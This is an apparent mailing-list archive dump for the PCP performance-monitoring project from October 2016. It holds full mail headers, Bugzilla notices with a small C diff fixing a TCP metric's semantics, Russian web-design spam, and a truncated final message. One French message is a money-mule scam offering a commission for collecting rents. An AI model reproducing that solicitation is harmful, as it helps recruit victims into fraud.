PjxiciAvPtC30LDQutGD0L/QutCw0YU8YnIgLz7QnNC+0LTRg9C70YwgMy4xMC4g0J7RgdC+0LHQ tdC90L3QvtGB0YLQuCDQt9Cw0LrRg9C/0L7QuiDQsdGO0LTQttC10YLQvdGL0YUg0YPRh9GA0LXQ ttC00LXQvdC40Lkg0L/QviDQt9Cw0LrQvtC90LDQvCA0NC3QpNCXINC4IDIyMy3QpNCXPGJyIC8+ 0JzQvtC00YPQu9GMIDMuMTEuINCe0LPRgNCw0L3QuNGH0LXQvdC40LUg0LrQvtC70LjRh9C10YHR gtCy0LAg0YPRh9Cw0YHRgtC90LjQutC+0LIg0LfQsNC60YPQv9C60Lgg0LfQsNC60LDQt9GH0LjQ utC+0Lw6INC+0LHQvtGB0L3QvtCy0LDQvdC90L7QtSDQuDxzcGFuPsKgPC9zcGFuPjxiciAvPtC9 0LXQvtCx0L7RgdC90L7QstCw0L3QvdC+0LU8YnIgLz7QnNC+0LTRg9C70YwgMy4xMi4g0KPRgNC+ 0LrQuCDQsNC00LzQuNC90LjRgdGC0YDQsNGC0LjQstC90L7QuSDQv9GA0LDQutGC0LjQutC4INCk 0JDQoSDQv9C+IDQ0LdCk0Jc8YnIgLz7QnNC+0LTRg9C70YwgMy4xMy4g0KPRgNC+0LrQuCDQsNC0 0LzQuNC90LjRgdGC0YDQsNGC0LjQstC90L7QuSDQv9GA0LDQutGC0LjQutC4INCk0JDQoSDQv9C+ IDIyMy3QpNCXPGJyIC8+0JzQvtC00YPQu9GMIDMuMTQuINCj0YDQvtC60Lgg0YHRg9C00LXQsdC9 0L7QuSDQv9GA0LDQutGC0LjQutC4PGJyIC8+0JzQvtC00YPQu9GMIDMuMTUuINCQ0LTQvNC40L3Q uNGB0YLRgNCw0YLQuNCy0L3QsNGPINC+0YLQstC10YLRgdGC0LLQtdC90L3QvtGB0YLRjDwvZm9u dD48YnIgLz48Zm9udCBmYWNlPSJDYW1icmlhIj7CoDwvZm9udD48L3A+PC90ZD48dGQgYmdjb2xv cj0iI0NGQzhDMCI+wqA8L3RkPjwvdHI+PHRyPjx0ZCBiZ2NvbG9yPSIjRjFGMUVCIj7CoDwvdGQ+ PHRkIGJnY29sb3I9IiNDRkM4QzAiPsKgPC90ZD48dGQgYmdjb2xvcj0iI0YxRjFFQiI+wqA8L3Rk PjwvdHI+PC90Ym9keT48L3RhYmxlPjwvZGl2Pg== From gosudarstvenno-kommercheskiy@deafeefabffacec.ru Thu Oct 20 05:59:47 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.5 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,HTML_TAG_BALANCE_BODY,MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 036397CA0 for ; Thu, 20 Oct 2016 05:59:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2E04DAC001 for ; Thu, 20 Oct 2016 03:59:43 -0700 (PDT) X-ASG-Debug-ID: 1476961170-0bf57b1e916dd6e0001-S8gJnT Received: from deafeefabffacec.ru (ec2-46-137-116-204.eu-west-1.compute.amazonaws.com [46.137.116.204]) by cuda.sgi.com with ESMTP id pGHdEp4WDPoRjUVr (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 20 Oct 2016 03:59:32 -0700 (PDT) X-Barracuda-Envelope-From: gosudarstvenno-kommercheskiy@deafeefabffacec.ru X-Barracuda-Effective-Source-IP: ec2-46-137-116-204.eu-west-1.compute.amazonaws.com[46.137.116.204] X-Barracuda-Apparent-Source-IP: 46.137.116.204 Received: from localhost (localhost [127.0.0.1]) by deafeefabffacec.ru (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id u9K8aZvb001625 for ; Thu, 20 Oct 2016 13:59:29 +0300 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=deafeefabffacec.ru; s=mail; t=1476961169; bh=AttbtGWyTPR4Zr9LdfXBfv+Onv8sWo1MhXsMLFxGOiw=; h=To:From:Reply-To:Subject:From; b=3QAnM6/HAzDBf7vBfpMghBieSKzlMkIfre84IT7+Exez9ijdZQ6TEDgA+q2p5PeDJ dIxiyf6WhHHtoHEUXa7xVfco2gsqkjZc0/1lvSjMo81EFuJel9/tFDrC6CZcDUzL8H E/6DNkuSrI3JKJx+B/+f0mbBK32hLYBm4JTmRwGo= Date: Thu, 20 Oct 2016 13:59:29 +0300 Message-Id: <201610201059.u9K8aZvb001625@deafeefabffacec.ru> MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable To: pcp@oss.sgi.com From: =?UTF-8?Q?=D0=92=D0=B5=D0=B1_=D0=A0=D0=B0=D0=B7=D1=80=D0=B0=D0=B1?= =?UTF-8?Q?=D0=BE=D1=82=D0=BA=D0=B0?= Reply-To: =?UTF-8?Q?=D0=92=D0=B5=D0=B1_=D0=A0=D0=B0=D0=B7=D1=80=D0=B0?= =?UTF-8?Q?=D0=B1=D0=BE=D1=82=D0=BA=D0=B0?= Subject: =?UTF-8?Q?=D0=9B=D0=B5=D0=BD=D0=B4=D0=B8=D0=BD=D0=B3_=D0=9F?= =?UTF-8?Q?=D0=B5=D0=B9=D0=B4=D0=B6_=D0=BF=D0=BE=D0=B4_=D0=BA=D0=BB=D1=8E?= =?UTF-8?Q?=D1=87_-_19_900_=D1=80=D1=83=D0=B1=D0=BB=D0=B5=D0=B9?= X-Barracuda-Connect: ec2-46-137-116-204.eu-west-1.compute.amazonaws.com[46.137.116.204] X-Barracuda-Start-Time: 1476961171 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-ASG-Orig-Subj: =?UTF-8?Q?=D0=9B=D0=B5=D0=BD=D0=B4=D0=B8=D0=BD=D0=B3_=D0=9F?= =?UTF-8?Q?=D0=B5=D0=B9=D0=B4=D0=B6_=D0=BF=D0=BE=D0=B4_=D0=BA=D0=BB=D1=8E?= =?UTF-8?Q?=D1=87_-_19_900_=D1=80=D1=83=D0=B1=D0=BB=D0=B5=D0=B9?= X-Barracuda-Scan-Msg-Size: 51503 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.13 X-Barracuda-Spam-Status: No, SCORE=1.13 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_06, HTML_MESSAGE, HTML_TAG_BALANCE_BODY, MIME_HTML_ONLY, URI_HEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33878 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.32 URI_HEX URI: URI hostname has long hexadecimal sequence 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.81 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message MBS
3D'=D0=9B=D0=BE=D0=B3=
=09
3D'=D0=98=D0=B7=
=09
=D0=97=D0=B0=D0=BA=D0=B0=D0=B6=D0=B8 =D0=9B=D0=B5=D0=BD=D0=B4=D0=B8=D0=BD= =D0=B3 =D0=9F=D0=B5=D0=B9=D0=B4=D0=B6

=D1=81 =D0=B8=D0=BD=D0=B4=D0=B8=D0=B2=D0=B8=D0=B4=D1=83= =D0=B0=D0=BB=D1=8C=D0=BD=D1=8B=D0=BC =D0=B4=D0=B8=D0=B7=D0=B0=D0=B9=D0=BD= =D0=BE=D0=BC =D0=B8 =D0=BC=D0=B0=D0=BA=D1=81=D0=B8=D0=BC=D1=83=D0=BC=D0=BE= =D0=BC =D1=84=D1=83=D0=BD=D0=BA=D1=86=D0=B8=D0=BE=D0=BD=D0=B0=D0=BB=D0=BE= =D0=B2!

3D"=D0=97=D0=B0=D0=BA=D0=B0=D0=B7=D0=B0=
11

3D"http://deafeefabffacec.ru/?u=3D&o=3D41&p=3D4&domain=3Dde=

1100

3D"http://deafeefabffacec.ru/?u=3D&o=3D41&p=3D4&domain=3Dde=

12

3D"http://deafeefabffacec.ru/?u=3D&o=3D41&p=3D4&domain=3Dde=

=09
=D0=9E=D1=87=D0=B5=D0=B2=D0=B8=D0=B4=D0=BD=D1=8B=D0=B5 =D0=BF=D1=80=D0= =B5=D0=B8=D0=BC=D1=83=D1=89=D0=B5=D1=81=D1=82=D0=B2=D0=B0
3D"=D0=98=D0=BD=D0=B4=D0=B8=D0=B2=D0=B8=D0=B4=D1=83=D0=B0=D0=

=D0=94=D0=98=D0= =97=D0=90=D0=99=D0=9D

=D0=98=D0=BD=D0=B4=D0=B8=D0=B2=D0=B8=D0=B4=D1=83=D0=B0=D0=BB=D1=8C=D0=BD= =D1=8B=D0=B9 =D0=B4=D0=B8=D0=B7=D0=B0=D0=B9=D0=BD

= =D0=B1=D1=83=D0=B4=D0=B5=D1=82 =D1=80=D0=B0=D0=B7=D1=80=D0=B0=D0=B1=D0=BE= =D1=82=D0=B0=D0=BD =D1=81 =D1=83=D1=87=D0=B5=D1=82=D0=BE=D0=BC

= =D0=92=D0=B0=D1=88=D0=B8=D1=85 =D0=BF=D0=BE=D0=B6=D0=B5=D0=BB=D0=B0=D0=BD= =D0=B8=D0=B9

3D"CMS"

CMS

=D0=9F=D0=BE=D0=BB=D0=BD=D0=BE=D1=84=D1=83=D0=BD=D0=BA=D1=86=D0=B8=D0=BE= =D0=BD=D0=B0=D0=BB=D1=8C=D0=BD=D0=B0=D1=8F

= =D1=81=D0=B8=D1=81=D1=82=D0=B5=D0=BC=D0=B0 =D1=83=D0=BF=D1=80=D0=B0=D0=B2= =D0=BB=D0=B5=D0=BD=D0=B8=D1=8F

= =D1=81=D0=B0=D0=B9=D1=82=D0=BE=D0=BC

3D"=D0=9F=D0=BE=D0=BC=D0=BE=D1=89=D1=8C"

=D0=9F=D0=9E=D0= =9C=D0=9E=D0=A9=D0=AC

=D0=9F=D0=BE=D0=BC=D0=BE=D1=89=D1=8C =D0=B2 =D1=80=D0=B5=D0=B3=D0=B8=D1=81= =D1=82=D1=80=D0=B0=D1=86=D0=B8=D0=B8

= =D0=B4=D0=BE=D0=BC=D0=B5=D0=BD=D0=B0 =D0=B8 =D1=85=D0=BE=D1=81=D1=82=D0=B8= =D0=BD=D0=B3=D0=B0

=  

3D"=D0=90=D0=BA=D1=86=D0=B8=D0=B8"

=D0=90=D0=9A= =D0=A6=D0=98=D0=98

=D0=91=D0=BB=D0=BE=D0=BA "=D0=A2=D0=B0=D0=B9=D0=BC=D0=B5=D1=80 =D0=B0=D0= =BA=D1=86=D0=B8=D0=B8"

=  

3D"=D0=9A=D0=B0=D1=82=D0=B0=D0=BB=D0=BE=D0=B3"

=D0=9A=D0=90= =D0=A2=D0=90=D0=9B=D0=9E=D0=93

=D0=91=D0=BB=D0=BE=D0=BA "=D0=9A=D0=B0=D1=82=D0=B0=D0=BB=D0=BE=D0=B3 =D0= =BF=D1=80=D0=BE=D0=B4=D1=83=D0=BA=D1=86=D0=B8=D0=B8

= =D0=B8=D0=BB=D0=B8 =D1=83=D1=81=D0=BB=D1=83=D0=B3"

3D"=D0=A1=D0=BB=D0=B0=D0=B9=D0=B4-=D1=88=D0=BE=D1=83"

=D0=A1=D0=9B=D0= =90=D0=99=D0=94-=D0=A8=D0=9E=D0=A3

=D0=91=D0=BB=D0=BE=D0=BA "=D0=A1=D0=BB=D0=B0=D0=B9=D0=B4-=D1=88=D0=BE=D1= =83

= =D0=B0=D0=BA=D1=82=D1=83=D0=B0=D0=BB=D1=8C=D0=BD=D1=8B=D1=85 =D0=BF=D1=80= =D0=B8=D0=BB=D0=BE=D0=B6=D0=B5=D0=BD=D0=B8=D0=B9"

3D"=D0=A1=D1=80=D0=BE=D0=BA =D0=A1=D1=80=D0=BE= =D0=BA =D1=80=D0=B5=D0=B0=D0=BB=D0=B8=D0=B7=D0=B0=D1=86=D0=B8=D0=B8 =D0=BF= =D1=80=D0=BE=D0=B5=D0=BA=D1=82=D0=B0

=D1= =81 =D0=B1=D0=B0=D0=B7=D0=BE=D0=B2=D1=8B=D0=BC =D1=84=D1=83=D0=BD=D0=BA=D1= =86=D0=B8=D0=BE=D0=BD=D0=B0=D0=BB=D0=BE=D0=BC =D0=B2=D1=81=D0=B5=D0=B3=D0= =BE 7 =D1=80=D0= =B0=D0=B1=D0=BE=D1=87=D0=B8=D1=85 =D0=B4=D0=BD=D0=B5=D0=B9!

=D0=9F=D0=9E=D0=94=D0=A0=D0=9E=D0=91=D0=9D=D0=95= =D0=95
=D0= =92=D1=8B=D0=BF=D0=BE=D0=BB=D0=BD=D0=B5=D0=BD=D0=BD=D1=8B=D0=B5 =D0=BF=D1= =80=D0=BE=D0=B5=D0=BA=D1=82=D1=8B
=09

3D"http://deafeefabffacec.ru/?u=3D&o=3D41&p=3D4&dom=

est= ate-investor.ru

3D"http://deafeefabffacec.ru/?u=3D&o=3D41&p=3D4&dom=

gui= tarbank.ru

3D"=D0=A1=D0=B0=D0=B9=D1=82

3D"http://deafeefabffacec.ru/?u=3D&o=3D41&p=3D4&dom=

ftf-int= erior.com

3D"=D0=A1=D1=80=D0=BE=D0=BA

=D0=97=D0=B0=D0=BA=D0=B0= =D0=B7=D1=87=D0=B8=D0=BA=D1=83 =D0=BF=D0=B5=D1=80=D0=B5=D0=B4=D0=B0=D1=8E= =D1=82=D1=81=D1=8F

=D0=B8=D1=81=D0=BA=D0=BB= =D1=8E=D1=87=D0=B8=D1=82=D0=B5=D0=BB=D1=8C=D0=BD=D1=8B=D0=B5 =D0=BF=D1=80= =D0=B0=D0=B2=D0=B0

=D0=BD=D0=B0 =D1=80=D0=B0= =D0=B7=D1=80=D0=B0=D0=B1=D0=BE=D1=82=D0=B0=D0=BD=D0=BD=D1=8B=D0=B9 =D1=81= =D0=B0=D0=B9=D1=82.

3D"=D0=A1=D1=80=D0=BE=D0=BA

12 =D0=BC=D0=B5=D1=81=D1= =8F=D1=86=D0=B5=D0=B2 =D0=B3=D0=B0=D1=80=D0=B0=D0=BD=D1=82=D0=B8=D0=B8.

3D"=D0=A1=D1=80=D0=BE=D0=BA

12 =D0=BC=D0=B5=D1=81=D1= =8F=D1=86=D0=B5=D0=B2 =D0=B1=D0=B5=D1=81=D0=BF=D0=BB=D0=B0=D1=82=D0=BD=D0= =BE=D0=B9

=D0=BA=D0=BE=D0=BD=D1=81= =D1=83=D0=BB=D1=8C=D1=82=D0=B0=D1=82=D0=B8=D0=B2=D0=BD=D0=BE=D0=B9 =D0=BF= =D0=BE=D0=B4=D0=B4=D0=B5=D1=80=D0=B6=D0=BA=D0=B8.

3D"=D0=9D=
3D'=D0=9B=
=D0=92=D1=8B =D0=BC=D0=BE=D0=B6=D0=B5=D1=82=D0=B5 =D0=BE=D1=82=D0=BA=D0=B0=D0=B7=D0=B0=D1=82=D1= =8C=D1=81=D1=8F =D0=BE=D1=82 =D0=BF=D0=BE=D0=BB=D1=83=D1=87=D0=B5=D0=BD=D0= =B8=D1=8F =D0=B8=D0=BD=D1=84=D0=BE=D1=80=D0=BC=D0=B0=D1=86=D0=B8=D0=B8= =2E
=D0=95=D1=81=D0=BB=D0=B8 =D1=81=D1=81=D1=8B=D0=BB=D0=BA=D0=B0 =D0=BD=D0= =B5 =D0=BE=D1=82=D0=BA=D1=80=D1=8B=D0=B2=D0=B0=D0=B5=D1=82=D1=81=D1=8F, =D1= =81=D0=BA=D0=BE=D0=BF=D0=B8=D1=80=D1=83=D0=B9=D1=82=D0=B5 =D0=B5=D0=B5 =D0= =B8 =D0=BE=D1=82=D0=BA=D1=80=D0=BE=D0=B9=D1=82=D0=B5 =D0=B2 =D0=B1=D1=80=D0= =B0=D1=83=D0=B7=D0=B5=D1=80=D0=B5.
http://deafeefabffacec.ru/?unsubscribe&email=3Dpcp@oss.sgi.com&pid=3D4
From wwwrun@oss.sgi.com Thu Oct 20 17:17:06 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 30) id E59467CA1; Thu, 20 Oct 2016 17:17:06 -0500 (CDT) From: bugzilla-daemon@oss.sgi.com To: pcp@oss.sgi.com Subject: [Bug 1142] network.tcp.currestab wrong COUNTER semantics Date: Thu, 20 Oct 2016 22:17:06 +0000 X-Bugzilla-Reason: CC AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Unclassified X-Bugzilla-Product: pcp X-Bugzilla-Component: pcp X-Bugzilla-Keywords: X-Bugzilla-Severity: major X-Bugzilla-Who: fche@redhat.com X-Bugzilla-Status: NEW X-Bugzilla-Priority: P5 X-Bugzilla-Assigned-To: pcp@oss.sgi.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: multipart/alternative; boundary="1477001826.4D87670.29276"; charset="us-ascii" X-Bugzilla-URL: http://oss.sgi.com/bugzilla/ Auto-Submitted: auto-generated MIME-Version: 1.0 --1477001826.4D87670.29276 Date: Thu, 20 Oct 2016 17:17:06 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" http://oss.sgi.com/bugzilla/show_bug.cgi?id=1142 --- Comment #1 from Frank Ch. Eigler --- diff --git a/src/pmdas/linux/pmda.c b/src/pmdas/linux/pmda.c index b290f6e0273b..5b1275a27322 100644 --- a/src/pmdas/linux/pmda.c +++ b/src/pmdas/linux/pmda.c @@ -2378,8 +2378,8 @@ static pmdaMetric metrictab[] = { /* network.tcp.currestab */ { &_pm_proc_net_snmp.tcp[_PM_SNMP_TCP_CURRESTAB], - { PMDA_PMID(CLUSTER_NET_SNMP,58), PM_TYPE_U64, PM_INDOM_NULL, PM_SEM_COUNTER, - PMDA_PMUNITS(0,0,1,0,0,PM_COUNT_ONE) } }, + { PMDA_PMID(CLUSTER_NET_SNMP,58), PM_TYPE_U64, PM_INDOM_NULL, PM_SEM_INSTANT, + PMDA_PMUNITS(0,0,0,0,0,0) } }, /* network.tcp.insegs */ { &_pm_proc_net_snmp.tcp[_PM_SNMP_TCP_INSEGS], -- You are receiving this mail because: You are on the CC list for the bug. You are the assignee for the bug. --1477001826.4D87670.29276 Date: Thu, 20 Oct 2016 17:17:06 -0500 MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8"

Comment # 1 on bug 1142 from
diff --git a/src/pmdas/linux/pmda.c b/src/pmdas/linux/pmda.c
index b290f6e0273b..5b1275a27322 100644
--- a/src/pmdas/linux/pmda.c
+++ b/src/pmdas/linux/pmda.c
@@ -2378,8 +2378,8 @@ static pmdaMetric metrictab[] = {

 /* network.tcp.currestab */
   { &_pm_proc_net_snmp.tcp[_PM_SNMP_TCP_CURRESTAB], 
-    { PMDA_PMID(CLUSTER_NET_SNMP,58), PM_TYPE_U64, PM_INDOM_NULL,
PM_SEM_COUNTER,
-    PMDA_PMUNITS(0,0,1,0,0,PM_COUNT_ONE) } },
+    { PMDA_PMID(CLUSTER_NET_SNMP,58), PM_TYPE_U64, PM_INDOM_NULL,
PM_SEM_INSTANT,
+    PMDA_PMUNITS(0,0,0,0,0,0) } },

 /* network.tcp.insegs */
   { &_pm_proc_net_snmp.tcp[_PM_SNMP_TCP_INSEGS],


You are receiving this mail because:
  • You are on the CC list for the bug.
  • You are the assignee for the bug.
--1477001826.4D87670.29276-- From wwwrun@oss.sgi.com Sun Oct 23 21:57:38 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 30) id 8CF467CAF; Sun, 23 Oct 2016 21:57:38 -0500 (CDT) From: bugzilla-daemon@oss.sgi.com To: pcp@oss.sgi.com Subject: [Bug 1142] network.tcp.currestab wrong COUNTER semantics Date: Mon, 24 Oct 2016 02:57:38 +0000 X-Bugzilla-Reason: CC AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Unclassified X-Bugzilla-Product: pcp X-Bugzilla-Component: pcp X-Bugzilla-Keywords: X-Bugzilla-Severity: major X-Bugzilla-Who: nathans@debian.org X-Bugzilla-Status: RESOLVED X-Bugzilla-Priority: P5 X-Bugzilla-Assigned-To: pcp@oss.sgi.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: bug_status cc resolution Message-ID: In-Reply-To: References: Content-Type: multipart/alternative; boundary="1477277858.0E3cddDF1.5668"; charset="us-ascii" X-Bugzilla-URL: http://oss.sgi.com/bugzilla/ Auto-Submitted: auto-generated MIME-Version: 1.0 --1477277858.0E3cddDF1.5668 Date: Sun, 23 Oct 2016 21:57:38 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" http://oss.sgi.com/bugzilla/show_bug.cgi?id=1142 Nathan Scott changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED CC| |nathans@debian.org Resolution|--- |FIXED -- You are receiving this mail because: You are on the CC list for the bug. You are the assignee for the bug. --1477277858.0E3cddDF1.5668 Date: Sun, 23 Oct 2016 21:57:38 -0500 MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" changed bug 1142
What Removed Added
Status NEW RESOLVED
CC   nathans@debian.org
Resolution --- FIXED


You are receiving this mail because:
  • You are on the CC list for the bug.
  • You are the assignee for the bug.
--1477277858.0E3cddDF1.5668-- From particuliers@ntymail.com Mon Oct 24 05:40:44 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1D9497CA7 for ; Mon, 24 Oct 2016 05:40:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7AD67AC004 for ; Mon, 24 Oct 2016 03:40:43 -0700 (PDT) X-ASG-Debug-ID: 1477305636-0bf57c7e21738450001-S8gJnT Received: from webmail.ntymail.com (webmail.ntymail.com [87.255.53.240]) by cuda.sgi.com with ESMTP id wjE0kMBYhaaeti7Z (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 24 Oct 2016 03:40:37 -0700 (PDT) X-Barracuda-Envelope-From: particuliers@ntymail.com X-Barracuda-Effective-Source-IP: webmail.ntymail.com[87.255.53.240] X-Barracuda-Apparent-Source-IP: 87.255.53.240 Received: from localhost (localhost.localdomain [127.0.0.1]) by webmail.ntymail.com (Postfix) with ESMTP id 1BF9362E2C; Mon, 24 Oct 2016 12:40:36 +0200 (CEST) Received: from webmail.ntymail.com ([127.0.0.1]) by localhost (nmmta1.newmanity.corp [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id iFctaBjocFsX; Mon, 24 Oct 2016 12:40:35 +0200 (CEST) Received: from localhost (localhost.localdomain [127.0.0.1]) by webmail.ntymail.com (Postfix) with ESMTP id 907D56367B; Mon, 24 Oct 2016 12:40:35 +0200 (CEST) X-Virus-Scanned: amavisd-new at newmanity.corp Received: from webmail.ntymail.com ([127.0.0.1]) by localhost (nmmta1.newmanity.corp [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id uxYoSe8_rrRC; Mon, 24 Oct 2016 12:40:35 +0200 (CEST) Received: from nmstorefo2.newmanity.corp (nmstore3.newmanity.corp [10.50.1.52]) by webmail.ntymail.com (Postfix) with ESMTP id 46ECE62E2C; Mon, 24 Oct 2016 12:40:35 +0200 (CEST) Date: Mon, 24 Oct 2016 12:40:34 +0200 (CEST) From: Kuleva Mariya Reply-To: Kuleva Mariya Message-ID: <408672347.5200869.1477305634988.JavaMail.zimbra@ntymail.com> Subject: =?utf-8?Q?=E2=80=8B=E2=80=8BDe_la_part_de_Mne_Kuleva_Mariya?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?utf-8?Q?=E2=80=8B=E2=80=8BDe_la_part_de_Mne_Kuleva_Mariya?= Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Originating-IP: [88.198.110.130] X-Mailer: Zimbra 8.6.0_GA_1194 (ZimbraWebClient - FF45 (Win)/8.6.0_GA_1194) Thread-Topic: =?utf-8?B?4oCL4oCLRGU=?= la part de Mne Kuleva Mariya Thread-Index: gGtSgSCuRiY8kxyF2eEaQQJ2G9+k3w== X-Barracuda-Connect: webmail.ntymail.com[87.255.53.240] X-Barracuda-Start-Time: 1477305637 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1006 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MAILTO_TO_SPAM_ADDR, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33992 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 1.21 MISSING_HEADERS Missing To: header 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Urgent: Je recherche une personne s=C3=A9rieuse pour travailler. Je suis = =C3=A0 la=20 recherche d=E2=80=99une personne s=C3=A9rieuse et digne de confiance ayant 18 =C3=A0 60 ans qui po= urra me=20 recevoir les loyers aupr=C3=A8s de mes locataires pendant mon absence, vous= =20 n=E2=80=99aurez pas =C3=A0 vous d=C3=A9placer , les locataire se chargerons= de vous faire=20 parvenir les loyers et vous me les gard=C3=A9s en attendant que je sois de retours de mon voyage . R=C3=A9mun=C3=A9ration= tr=C3=A8s tr=C3=A8s=20 importante vous avez le choix d=E2=80=99avoir d=E2=80=99autre boulot. Si vo= us =C3=AAtes sure de=20 pouvoir donc me g=C3=A9rer mes appartement en location tout juste prendre l= es=20 loyers alors vous aurez une r=C3=A9mun=C3=A9ration de 300 =E2=82=AC sur chaque loyer per=C3=A7ue.Aussi= vous n=E2=80=99aurez pas =C3=A0=20 vous d=C3=A9placer pour r=C3=A9cup=C3=A9rer les loyers, les locataires vous= les ferons=20 parvenir. R=C3=A9mun=C3=A9ration tr=C3=A8s int=C3=A9ressant par mois sur le= s loyers per=C3=A7ue Si=20 vous n=E2=80=99=C3=AAtes pas s=C3=A9rieux mieux vous abstenir. Me contacter au plus vite par mon e-mail : kulevamariya86@gmail.com From kenj@internode.on.net Mon Oct 24 14:37:33 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 266267CA7 for ; Mon, 24 Oct 2016 14:37:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EC844304032 for ; Mon, 24 Oct 2016 12:37:29 -0700 (PDT) X-ASG-Debug-ID: 1477337842-0bf57c7e2275cb40001-S8gJnT Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id eCQE1YQzSGTTE1Mb for ; Mon, 24 Oct 2016 12:37:22 -0700 (PDT) X-Barracuda-Envelope-From: kenj@internode.on.net X-Barracuda-Effective-Source-IP: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 